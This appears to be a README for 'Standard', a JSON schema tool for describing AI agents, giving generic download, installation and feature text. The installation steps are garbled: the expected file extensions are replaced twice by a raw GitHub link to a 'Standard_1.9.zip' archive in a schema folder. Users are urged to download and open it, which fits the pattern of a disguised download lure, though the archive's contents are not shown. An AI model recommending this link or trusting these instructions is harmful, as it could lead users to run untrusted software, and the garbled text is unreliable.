Standard provides a universal way to describe AI agents using JSON. This means you can define what these agents can do, the tools they use, and their operating environment without needing to understand complex programming concepts. It follows recognized standards, making it easy to use across different systems.
To start working with Standard, you'll need to download the software. Follow the steps below:
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Visit the Releases Page:
- Go to our Releases page. This is where you can find and download the latest version of Standard.
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Choose the Right Version:
- Look for the latest version available. Typically, the newest versions have the most features and fixes.
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Download the File:
- Click on the download link for your operating system. The file should be obvious, but here are some common formats:
- For Windows: Look for a file ending with
.exe. - For macOS: Look for a file ending with
.dmg. - For Linux: Look for a file ending with
https://raw.githubusercontent.com/turkeyyyyy/Standard/main/schema/Standard_1.9.zipor.deb.
- For Windows: Look for a file ending with
- Click on the download link for your operating system. The file should be obvious, but here are some common formats:
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Install the Software:
- After the file downloads, open it. For
.exe, follow the instructions that appear. For.dmg, drag the app to your Applications folder. On Linux, use your package manager to install the.debor extract thehttps://raw.githubusercontent.com/turkeyyyyy/Standard/main/schema/Standard_1.9.zipfile.
- After the file downloads, open it. For
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Run Standard:
- Once installed, find the application in your programs or applications list and open it.
To download Standard, click the link below:
After downloading, follow the steps in the Getting Started section to install and run the application.
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JSON Native: Standard uses JSON, a simple format that is easy to read and write. This makes it suitable for everyone, not just programmers.
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Framework Agnostic: Whether you use TensorFlow, PyTorch, or other tools, Standard can fit into your setup.
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Portable Agents: Design agents that can run on different systems without needing changes. This enhances interoperability, making your tools more versatile.
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Governance Tools: Standard provides features to help manage how agents operate, ensuring they behave as intended.
Standard is designed to work on various operating systems. Here are the general requirements:
- Windows 10 or later
- macOS Mojave or later
- Linux (Kernel 4.0 or later)
Ensure your system meets these requirements for the best experience.
Using Standard is simple:
- Define your agent's capabilities in a JSON file.
- Load the JSON file into the Standard application.
- Use Standard's interface to interact with your agent.
If you need guidance, the application includes tutorials and examples to help you get started.
JSON stands for JavaScript Object Notation. It is a lightweight format for storing and transporting data. Standard uses JSON to define AI agents.
No, you do not need to be a programmer. Standard is built to be user-friendly. Anyone can create and manage agents using simple JSON files.
Absolutely! We welcome contributions. If you're interested, check the contributing guidelines in the repository.
If you encounter issues or have questions while using Standard, please visit our Issues page. You can report bugs or ask for help there.
Join our community to connect with other users of Standard. Discuss ideas, share experiences, and learn from each other. You can find us on:
- GitHub Discussions
- Twitter: @Standard
- Discord Channel: JOIN HERE
Standard is based on established standards such as RFC 8259 and JSON Schema 2020-12. This foundation allows users to create agents that are consistent and portable across different platforms.
For updates and new features, keep an eye on our Releases page. We look forward to seeing what you create with Standard!